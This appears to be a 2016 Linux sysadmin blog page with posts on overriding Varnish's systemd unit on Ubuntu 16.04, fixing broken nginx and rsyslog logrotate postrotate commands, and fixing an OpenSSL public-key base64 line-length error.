>>> pkg_resources.get_distribution("pywbem").version
'0.9.0'
>>> exit()

Enjoy.

 

Configure Varnish custom settings on Debian 8 Jessie and Ubuntu 16.04 LTS
Thursday - Oct 13th 2016 - by - (0 comments)

Earlier this year I installed a new Varnish cluster on Ubuntu 16.04 servers. Cool, the (back then) newest version 4.1 already came from the Ubuntu standard repositories. 

From older systems - Varnish 3.x and 4.0, using the Varnish apt repo - running on Ubuntu 14.04 trusty, I knew I had to configure special settings like listening ports, vcl config files or memory allocation (malloc) in /etc/default/varnish. What strange face I made when all my custom configs didn't work in Xenial anymore! But why?

It took me a while to figure it out. It's Systemd which is (by default) the new init system in Debian 8 Jessie and therefore also Ubuntu 16.04 Xenial (which is based on Jessie). The older init systems (sysvinit or upstart) were able to use special configurations or additional daemon parameters from /etc/default/config files. Systemd does not. So where does one put the custom daemon modifications now?

Back then I also opened a Ubuntu bug report on Launchpad back in April 2016 (bug #1573561) to tell Ubuntu developers to remove the /etc/default/varnish file or to at least add some special notes in it, that it will be ignored by Systemd. One of the responses was a good hint, that the custom options should be set in the varnish's systemd service file. That's what I did, directly in /lib/systemd/system/varnish.service. Not a good idea it turned out.

This week I updated Varnish from 4.1.1-1 to the currently newest version (in Varnish's own apt repo) 4.1.3-1~jessie. Luckily this was only on testing environments, because a few hours later I got notified that all headers, Varnish was supposed to set, disappeared. First I suspected a problem with the newer Varnish version or a (new) incompatibility with the vcl but at the end I saw that /lib/systemd/system/varnish.service was overwritten by the new package. All my custom modifications, including which vcl to use, were gone. No wonder the HTTP headers were gone, too.

In order to use custom settings, which will not be overwritten by a package update, one has to create a special Systemd service file for varnish within /etc/systemd/system. In my case I created /etc/systemd/system/varnish.service which completely replaces the system's /lib/systemd/system/varnish.service. Another alternative would be to create a subfolder "/etc/systemd/system/varnish.service.d" and in there create separate conf files which overwrite single lines (for example only "ExecStart").

This is how my /etc/systemd/system/varnish.service now looks:

root@xenial:~# cat /etc/systemd/system/varnish.service
[Unit

Description=Varnish HTTP accelerator
Documentation=https://www.varnish-cache.org/docs/4.1/ man:varnishd
 
[Service]
Type=simple
LimitNOFILE=131072
LimitMEMLOCK=82000
ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :6081 -T localhost:6082 -f /etc/varnish/myapp.vcl -S /etc/varnish/secret -s malloc,4096m
ExecReload=/usr/share/varnish/reload-vcl
ProtectSystem=full
ProtectHome=true
PrivateTmp=true
PrivateDevices=true
 
[Install]
WantedBy=multi-user.target

It basically looks exactly the same as the varnish.service file coming from the varnish package from the Ubuntu repositories - only the ExecStart line differs. However it does look very different to the varnish.service file which comes from the varnish packages installed from the Varnish repository!

After this, Systemd needs to be told to learn about the new varnish.service file:

root@xenial:~# systemctl daemon-reload

That's it! Lesson learned.  

 

Ubuntu 16.04 xenial does not rotate nginx and rsyslog logfiles
Monday - Oct 10th 2016 - by - (0 comments)

I was investigating a curious case when I got a diskspace alert on a Ubuntu 16.04 container running nginx. As you can see in the graphic, the disk usage increased without interruption:

Growing diskspace due to no log rotation in Ubuntu 16.04 

The usage could be pinned down to the nginx log files or log files in general. It turned out they haven't been rotated for quite some time:

root@xenial:~# ls -ltr /var/log/nginx/
total 83756
-rw-r--r-- 1 root     root      184 Jun  6 08:49 error.log.3.gz
-rw-r--r-- 1 root     root   671461 Jun  6 09:03 access.log.6.gz
-rw-r----- 1 www-data adm       459 Jun  6 09:39 error.log.2.gz
-rw-r--r-- 1 root     root      293 Jun  6 10:55 monitoring.error.log.4.gz
-rw-r----- 1 www-data adm     15756 Jun  8 10:02 access.log.5.gz
-rw-r----- 1 www-data adm      1115 Jul  8 12:00 monitoring.error.log.3.gz
-rw-r----- 1 www-data adm   1335195 Jul  8 12:00 access.log.4.gz
-rw-r----- 1 www-data adm      2734 Jul  8 12:46 monitoring.error.log.2.gz
-rw-r----- 1 www-data adm    782316 Jul 26 16:11 access.log.3.gz
-rw-r----- 1 www-data adm    318759 Aug  4 15:05 access.log.2.gz
-rw-r----- 1 www-data adm        65 Aug  4 15:06 error.log.1
-rw-r----- 1 www-data adm         0 Aug  5 06:32 error.log
-rw-r----- 1 www-data adm         0 Aug  5 06:32 access.log
-rw-r----- 1 www-data adm         0 Aug 16 06:51 monitoring.error.log
-rw-r----- 1 www-data adm      9964 Sep  8 16:14 monitoring.error.log.1
-rw-r----- 1 www-data adm  82599120 Oct 10 12:43 access.log.1

Seems to be a logrotate problem because nginx is still logging into the already rotated access.log.1 file.
And a manual enforcing of log rotation doesn't work, because logrotate only wants to rotate log files within /var/log/nginx which end with .log as extension. Yet these files didn't move and are empty - so no log rotation happens here:

root@xenial:~# logrotate -d -f /etc/logrotate.d/nginx
reading config file /etc/logrotate.d/nginx

Handling 1 logs

rotating pattern: /var/log/nginx/*.log  forced from command line (14 rotations)
empty log files are not rotated, old logs are removed
considering log /var/log/nginx/access.log
  log does not need rotating
considering log /var/log/nginx/error.log
  log does not need rotating
considering log /var/log/nginx/monitoring.error.log
  log does not need rotating
not running prerotate script, since no logs will be rotated
not running postrotate script, since no logs were rotated

I checked the logrotate config file for nginx and compared it to the same logrotate file from Ubuntu 14.04 (trusty).
Interestingly there is indeed a difference!

On Ubuntu 16.04 Xenial:

root@xenial:~# cat /etc/logrotate.d/nginx
/var/log/nginx/*.log {
    daily
    missingok
    rotate 14
    compress
    delaycompress
    notifempty
    create 0640 www-data adm
    sharedscripts
    prerotate
        if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
            run-parts /etc/logrotate.d/httpd-prerotate; \
        fi \
    endscript
    postrotate
        invoke-rc.d nginx rotate >/dev/null 2>&1
    endscript
}

And on Ubuntu 14.04 Trusty:

admck@trusty:~$ cat /etc/logrotate.d/nginx
/var/log/nginx/*.log {
    weekly
    missingok
    rotate 52
    compress
    delaycompress
    notifempty
    create 0640 www-data adm
    sharedscripts
    prerotate
        if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
            run-parts /etc/logrotate.d/httpd-prerotate; \
        fi \
    endscript
    postrotate
        [ -s /run/nginx.pid ] && kill -USR1 `cat /run/nginx.pid`
    endscript
}

Take a closer look at the postrotate script. That's the part from logrotate to tell the application (nginx in this case) that the logfiles were rotated and that the previous file handler needs to be closed/renewed.

A manual launch of the postrotate command on the Xenial server shows that this command actually doesn't work at all:

root@xenial:~# invoke-rc.d nginx rotate
initctl: invalid command: rotate
Try `initctl --help' for more information.
invoke-rc.d: initscript nginx, action "rotate" failed.

I adapted the postrotate section in /etc/logrotate.d/nginx on the Ubuntu 16.04 container to this:

    postrotate
        #invoke-rc.d nginx rotate >/dev/null 2>&1
        [ -s /run/nginx.pid ] && kill -USR1 `cat /run/nginx.pid`
    endscript

By the way: When sending a USR1 signal to the nginx process, this will tell nginx to re-open the log files. From http://nginx.org/en/docs/control.html:

TERM, INT    fast shutdown
QUIT    graceful shutdown
HUP    changing configuration, keeping up with a changed time zone (only for FreeBSD and Linux), starting new worker processes with a new configuration, graceful shutdown of old worker processes
USR1    re-opening log files
USR2    upgrading an executable file
WINCH    graceful shutdown of worker processes

I manually sent a the same command as in the logrotate file to nginx but nothing happened:

root@xenial:~# [ -s /run/nginx.pid ] && kill -USR1 `cat /run/nginx.pid`

Only a manual kill worked:

root@xenial:~# kill -USR1 30441

root@xenial:~# ls -ltr /var/log/nginx/
total 83776
-rw-r--r-- 1 root     root      184 Jun  6 08:49 error.log.3.gz
-rw-r--r-- 1 root     root   671461 Jun  6 09:03 access.log.6.gz
-rw-r----- 1 www-data adm       459 Jun  6 09:39 error.log.2.gz
-rw-r--r-- 1 root     root      293 Jun  6 10:55 monitoring.error.log.4.gz
-rw-r----- 1 www-data adm     15756 Jun  8 10:02 access.log.5.gz
-rw-r----- 1 www-data adm      1115 Jul  8 12:00 monitoring.error.log.3.gz
-rw-r----- 1 www-data adm   1335195 Jul  8 12:00 access.log.4.gz
-rw-r----- 1 www-data adm      2734 Jul  8 12:46 monitoring.error.log.2.gz
-rw-r----- 1 www-data adm    782316 Jul 26 16:11 access.log.3.gz
-rw-r----- 1 www-data adm    318759 Aug  4 15:05 access.log.2.gz
-rw-r----- 1 www-data adm        65 Aug  4 15:06 error.log.1
-rw-r----- 1 www-data adm         0 Aug  5 06:32 error.log
-rw-r----- 1 www-data adm         0 Aug 16 06:51 monitoring.error.log
-rw-r----- 1 www-data adm      9964 Sep  8 16:14 monitoring.error.log.1
-rw-r----- 1 www-data adm  82614202 Oct 10 13:01 access.log.1
-rw-r----- 1 www-data adm      1676 Oct 10 13:03 access.log

After a lot of tries, I finally figured out that whatever I put into the postrotate section, nothing was actually executed.
Even a basic service nginx reload wasn't executed:

    postrotate
          service nginx reload
    endscript

I also tested a simple echo output into a file, and this didn't work either:

    postrotate
          echo "bla" > /tmp/bla
    endscript

Now I got two problems instead of one:
1) The original postrotate command which comes from the nginx package in Ubuntu 16.04 is wrong
2) postrotate isn't executed at all it seems

To verify 2) I also checked the "normal" rsyslog logfiles in /var/log and - oh dear - same problem there:

root@xenial:~# ls -ltr /var/log/ | tail -n 3
-rw-rw-r-- 1 root     utmp       292876 Oct 10 12:38 lastlog
-rw-r----- 1 syslog   adm      17691756 Oct 10 13:49 auth.log.1
-rw-r----- 1 syslog   adm       3044902 Oct 10 13:49 syslog.1

Here it's actually the same problem again: postrotate wants to use rc-invoke with the command "rotate" which doesn't exist:

root@xenial:~# cat /etc/logrotate.d/rsyslog | grep -A 2 postrotate
    postrotate
        invoke-rc.d rsyslog rotate > /dev/null
    endscript
--
    postrotate
        invoke-rc.d rsyslog rotate > /dev/null
    endscript

But even after a modification to "restart" instead of "rotate" resulted in the same problem again: postrotate was not executed, when I forced a new log rotation.
So there seems to be a general problem with logrotate in Ubuntu 16.04 xenial :( .
After further research I stumbled across the Debian bug report 734688 which sounds very familiar. It seems that this problem already exists in logrotate for a long time (January 2014) and hasn't been resolved yet.
Several comments confirm the bug still exists in Debian Jessie (on which Ubuntu 16.04 Xenial is based upon). On the Ubuntu side I came across Launchpad bug #1450770 which so far seems to be the closest description to today's discovered logrotate problem.

At the moment I don't know what the best fix (besides an official patch) would be. A workaround would be to disable logrotate completely and do log rotation with cron jobs - but I will go crazy modifying and maintaining the cronjobs.

Update October 11 2016:
Sometimes it's worth to sleep a night over a problem. This morning I saw, that nginx log files were rotated correctly. What did I change? I have set the postrotate command to "service nginx reload" yesterday evening and this morning the logs were rotated:

     postrotate
          service nginx reload
    endscript

root@xenial:~# ls -ltr /var/log/nginx/
total 6296
-rw-r--r-- 1 root     root     184 Jun  6 08:49 error.log.3.gz
-rw-r--r-- 1 root     root  671461 Jun  6 09:03 access.log.7.gz
-rw-r----- 1 www-data adm      459 Jun  6 09:39 error.log.2.gz
-rw-r--r-- 1 root     root     293 Jun  6 10:55 monitoring.error.log.4.gz
-rw-r----- 1 www-data adm    15756 Jun  8 10:02 access.log.6.gz
-rw-r----- 1 www-data adm     1115 Jul  8 12:00 monitoring.error.log.3.gz
-rw-r----- 1 www-data adm  1335195 Jul  8 12:00 access.log.5.gz
-rw-r----- 1 www-data adm     2734 Jul  8 12:46 monitoring.error.log.2.gz
-rw-r----- 1 www-data adm   782316 Jul 26 16:11 access.log.4.gz
-rw-r----- 1 www-data adm   318759 Aug  4 15:05 access.log.3.gz
-rw-r----- 1 www-data adm       65 Aug  4 15:06 error.log.1
-rw-r----- 1 www-data adm        0 Aug  5 06:32 error.log
-rw-r----- 1 www-data adm        0 Aug 16 06:51 monitoring.error.log
-rw-r----- 1 www-data adm     9964 Sep  8 16:14 monitoring.error.log.1
-rw-r----- 1 www-data adm  2299587 Oct 10 13:01 access.log.2.gz
-rw-r----- 1 www-data adm   919857 Oct 11 06:50 access.log.1
-rw-r----- 1 www-data adm    52125 Oct 11 07:52 access.log

So the postrotate scripts run after all. Phew!

But until Ubuntu bugs #940030 (for rsyslog) and #1450770 (for nginx) are fixed, you will have to manually fix the logrotate files and remove the "invoke-rc.d daemon rotate" command with something actually working.

 

Unable to load public key when encrypting data with openssl
Monday - Oct 10th 2016 - by - (0 comments)

For an inhouse application I needed to add a monitoring of the login process. Usually that's pretty simple as most systems just use a form with username and password and send a POST of the values. 

But not in this case. I figured that the login procedure was much more complicated:

1) Make a POST request to a URL to retrieve server tokens

2) With the received tokens make yet another POST request and retrieve the string of a public RSA key

3) Encrypt the real password with the received public key and send it with yet another POST request

So far all my steps were working until I needed to encrypt the password with the public key with openssl.
The received public key was saved in a file tmpkey.pub:

$ cat tmpkey.pub
-----BEGIN PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALdjFsLLaCgRkWaOMLrUPQgGAPM4DXHnq9bAkd1VFwdSIgNkTxY0Bcvr1PxUkNHlYwFjAx/lGEqish6yCgeLURsCAwEAAQ==
-----END PUBLIC KEY-----

I then tried to encrypt the password with this key but it failed:

$ echo "myPassword" | openssl rsautl -encrypt -pubin -inkey tmpkey.pub
unable to load Public Key

Huh? Where did I make the mistake? I came across a blog post (Fun with public keys) by Peter Williams where the author had not the same but a similar problem.
His advice, to verify the public key was a big help though:

$ openssl rsa -text -pubin < tmpkey.pub
unable to load Public Key
139783763789472:error:0906D064:PEM routines:PEM_read_bio:bad base64 decode:pem_lib.c:812:

bad base64 decode! This error message helps!

I found another article from a different blog which had some information how to debug this error. In my case, the number of characters per line exceeded 64 which is a must for openssl - d'uh!

With the command "fold" the output of a file can be cut to a certain number of lines (-w N):

$ fold -w 64 tmpkey.pub
-----BEGIN RSA PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALdjFsLLaCgRkWaOMLrUPQgGAPM4DXHn
q9bAkd1VFwdSIgNkTxY0Bcvr1PxUkNHlYwFjAx/lGEqish6yCgeLURsCAwEAAQ==
-----END RSA PUBLIC KEY-----

Nice! Now I saved this output in my tmpkey.pub and tried the validation again:

$ openssl rsa -text -pubin < tmpkey.pub
Public-Key: (512 bit)
Modulus:
    00:b7:63:16:c2:cb:68:28:11:91:66:8e:30:ba:d4:
    3d:08:06:00:f3:38:0d:71:e7:ab:d6:c0:91:dd:55:
    17:07:52:22:03:64:4f:16:34:05:cb:eb:d4:fc:54:
    90:d1:e5:63:01:63:03:1f:e5:18:4a:a2:b2:1e:b2:
    0a:07:8b:51:1b
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALdjFsLLaCgRkWaOMLrUPQgGAPM4DXHn
q9bAkd1VFwdSIgNkTxY0Bcvr1PxUkNHlYwFjAx/lGEqish6yCgeLURsCAwEAAQ==
-----END PUBLIC KEY-----

Gotcha!

Now I could get back to encrypt the password with the public key:

$ echo "myPassword" | openssl rsautl -encrypt -pubin -inkey tmpkey.pub | base64
WRoZqrXGmcF5/6xTkB437nv+BCqF4XlkEhS6Gx8RIje496tMn/38WOt5QxE8EympP8NsFtVLJxJm
r1/UHkySvw==

 

 


Go to Homepage home
Linux Howtos how to's
Nagios Plugins nagios plugins
Links links

Valid HTML 4.01 Transitional
Valid CSS!
[Valid RSS]

7717 Days
until Death of Computers
Why?